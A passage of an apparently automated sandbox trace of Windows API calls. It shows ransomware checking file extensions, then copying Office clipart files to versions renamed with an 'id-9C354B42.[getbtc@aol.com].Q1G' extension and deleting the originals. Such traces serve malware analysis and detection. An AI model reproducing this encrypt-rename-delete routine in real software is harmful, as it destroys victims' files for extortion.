[0252.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0252.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0252.420] lstrlenW (lpString=".doc") returned 4 [0252.420] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.420] lstrlenW (lpString=".docx") returned 5 [0252.420] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.420] lstrlenW (lpString=".pdf") returned 4 [0252.420] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.420] lstrlenW (lpString=".xls") returned 4 [0252.420] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.420] lstrlenW (lpString=".xlsx") returned 5 [0252.420] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.420] lstrlenW (lpString=".ppt") returned 4 [0252.420] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0252.420] lstrlenW (lpString=".zip") returned 4 [0252.420] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.420] lstrlenW (lpString=".rar") returned 4 [0252.420] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.420] lstrlenW (lpString=".bz2") returned 4 [0252.420] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.420] lstrlenW (lpString=".7z") returned 3 [0252.420] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0252.420] lstrlenW (lpString=".dbf") returned 4 [0252.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0252.420] lstrlenW (lpString=".1cd") returned 4 [0252.420] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0252.420] lstrlenW (lpString=".jpg") returned 4 [0252.420] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0252.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0252.421] lstrlenW (lpString=".doc") returned 4 [0252.421] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.421] lstrlenW (lpString=".docx") returned 5 [0252.421] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.421] lstrlenW (lpString=".pdf") returned 4 [0252.421] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.421] lstrlenW (lpString=".xls") returned 4 [0252.421] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.421] lstrlenW (lpString=".xlsx") returned 5 [0252.421] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.421] lstrlenW (lpString=".ppt") returned 4 [0252.421] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0252.421] lstrlenW (lpString=".zip") returned 4 [0252.421] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.421] lstrlenW (lpString=".rar") returned 4 [0252.421] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.421] lstrlenW (lpString=".bz2") returned 4 [0252.421] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.421] lstrlenW (lpString=".7z") returned 3 [0252.421] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0252.421] lstrlenW (lpString=".dbf") returned 4 [0252.421] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0252.421] lstrlenW (lpString=".1cd") returned 4 [0252.421] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0252.421] lstrlenW (lpString=".jpg") returned 4 [0252.421] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.421] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0252.422] lstrlenW (lpString="HH02155_.WMF") returned 12 [0252.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0252.422] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=2704) returned 1 [0252.422] CloseHandle (hObject=0x3c4) returned 1 [0252.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf")) returned 0x20 [0252.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0252.422] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.422] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0252.423] GetLastError () returned 0x0 [0252.423] ReadFile (in: hFile=0x3c4, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0xa90, lpOverlapped=0x0) returned 1 [0252.568] WriteFile (in: hFile=0x200, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xaa0, lpOverlapped=0x0) returned 1 [0252.569] ReadFile (in: hFile=0x3c4, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.569] WriteFile (in: hFile=0x200, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.569] SetEndOfFile (hFile=0x200) returned 1 [0252.570] CloseHandle (hObject=0x200) returned 1 [0252.570] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.570] SetEndOfFile (hFile=0x3c4) returned 1 [0252.573] CloseHandle (hObject=0x3c4) returned 1 [0252.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.573] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf")) returned 1 [0252.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0252.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0252.574] lstrlenW (lpString=".doc") returned 4 [0252.574] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.574] lstrlenW (lpString=".docx") returned 5 [0252.574] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.574] lstrlenW (lpString=".pdf") returned 4 [0252.574] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.574] lstrlenW (lpString=".xls") returned 4 [0252.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.574] lstrlenW (lpString=".xlsx") returned 5 [0252.574] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.574] lstrlenW (lpString=".ppt") returned 4 [0252.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0252.574] lstrlenW (lpString=".zip") returned 4 [0252.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.574] lstrlenW (lpString=".rar") returned 4 [0252.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.574] lstrlenW (lpString=".bz2") returned 4 [0252.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.574] lstrlenW (lpString=".7z") returned 3 [0252.575] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0252.575] lstrlenW (lpString=".dbf") returned 4 [0252.575] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0252.575] lstrlenW (lpString=".1cd") returned 4 [0252.575] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0252.575] lstrlenW (lpString=".jpg") returned 4 [0252.575] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0252.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0252.575] lstrlenW (lpString=".doc") returned 4 [0252.575] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.575] lstrlenW (lpString=".docx") returned 5 [0252.575] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.575] lstrlenW (lpString=".pdf") returned 4 [0252.575] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.575] lstrlenW (lpString=".xls") returned 4 [0252.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.575] lstrlenW (lpString=".xlsx") returned 5 [0252.575] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.575] lstrlenW (lpString=".ppt") returned 4 [0252.575] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0252.575] lstrlenW (lpString=".zip") returned 4 [0252.575] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.575] lstrlenW (lpString=".rar") returned 4 [0252.575] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.575] lstrlenW (lpString=".bz2") returned 4 [0252.575] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.575] lstrlenW (lpString=".7z") returned 3 [0252.575] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0252.575] lstrlenW (lpString=".dbf") returned 4 [0252.576] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0252.576] lstrlenW (lpString=".1cd") returned 4 [0252.576] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0252.576] lstrlenW (lpString=".jpg") returned 4 [0252.576] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.576] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0252.576] lstrlenW (lpString="HH02298_.WMF") returned 12 [0252.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0252.620] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=5552) returned 1 [0252.620] CloseHandle (hObject=0x1f8) returned 1 [0252.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf")) returned 0x20 [0252.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0252.669] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.669] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0252.953] GetLastError () returned 0x0 [0252.953] ReadFile (in: hFile=0x338, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x15b0, lpOverlapped=0x0) returned 1 [0252.955] WriteFile (in: hFile=0x1fc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0252.956] ReadFile (in: hFile=0x338, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.956] WriteFile (in: hFile=0x1fc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.956] SetEndOfFile (hFile=0x1fc) returned 1 [0252.956] CloseHandle (hObject=0x1fc) returned 1 [0252.956] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.956] SetEndOfFile (hFile=0x338) returned 1 [0252.958] CloseHandle (hObject=0x338) returned 1 [0252.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.013] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf")) returned 1 [0253.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0253.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0253.014] lstrlenW (lpString=".doc") returned 4 [0253.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.014] lstrlenW (lpString=".docx") returned 5 [0253.014] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.014] lstrlenW (lpString=".pdf") returned 4 [0253.014] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.014] lstrlenW (lpString=".xls") returned 4 [0253.014] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.014] lstrlenW (lpString=".xlsx") returned 5 [0253.014] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.014] lstrlenW (lpString=".ppt") returned 4 [0253.014] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0253.014] lstrlenW (lpString=".zip") returned 4 [0253.014] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.014] lstrlenW (lpString=".rar") returned 4 [0253.014] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.014] lstrlenW (lpString=".bz2") returned 4 [0253.014] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.014] lstrlenW (lpString=".7z") returned 3 [0253.014] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0253.014] lstrlenW (lpString=".dbf") returned 4 [0253.014] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0253.014] lstrlenW (lpString=".1cd") returned 4 [0253.014] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0253.014] lstrlenW (lpString=".jpg") returned 4 [0253.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0253.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0253.015] lstrlenW (lpString=".doc") returned 4 [0253.015] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.015] lstrlenW (lpString=".docx") returned 5 [0253.015] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.015] lstrlenW (lpString=".pdf") returned 4 [0253.015] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.015] lstrlenW (lpString=".xls") returned 4 [0253.015] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.015] lstrlenW (lpString=".xlsx") returned 5 [0253.015] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.015] lstrlenW (lpString=".ppt") returned 4 [0253.015] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0253.015] lstrlenW (lpString=".zip") returned 4 [0253.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.015] lstrlenW (lpString=".rar") returned 4 [0253.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.015] lstrlenW (lpString=".bz2") returned 4 [0253.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.015] lstrlenW (lpString=".7z") returned 3 [0253.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0253.015] lstrlenW (lpString=".dbf") returned 4 [0253.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0253.015] lstrlenW (lpString=".1cd") returned 4 [0253.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0253.015] lstrlenW (lpString=".jpg") returned 4 [0253.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.016] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.016] lstrlenW (lpString="IN00177_.WMF") returned 12 [0253.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0253.016] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=1074) returned 1 [0253.016] CloseHandle (hObject=0x3a0) returned 1 [0253.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf")) returned 0x20 [0253.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0253.016] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.017] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0253.017] GetLastError () returned 0x0 [0253.017] ReadFile (in: hFile=0x3a0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x432, lpOverlapped=0x0) returned 1 [0253.070] WriteFile (in: hFile=0x1bc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x440, lpOverlapped=0x0) returned 1 [0253.070] ReadFile (in: hFile=0x3a0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.070] WriteFile (in: hFile=0x1bc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.070] SetEndOfFile (hFile=0x1bc) returned 1 [0253.071] CloseHandle (hObject=0x1bc) returned 1 [0253.071] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.071] SetEndOfFile (hFile=0x3a0) returned 1 [0253.072] CloseHandle (hObject=0x3a0) returned 1 [0253.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.073] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf")) returned 1 [0253.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0253.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0253.073] lstrlenW (lpString=".doc") returned 4 [0253.073] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.073] lstrlenW (lpString=".docx") returned 5 [0253.073] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.073] lstrlenW (lpString=".pdf") returned 4 [0253.073] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.073] lstrlenW (lpString=".xls") returned 4 [0253.074] 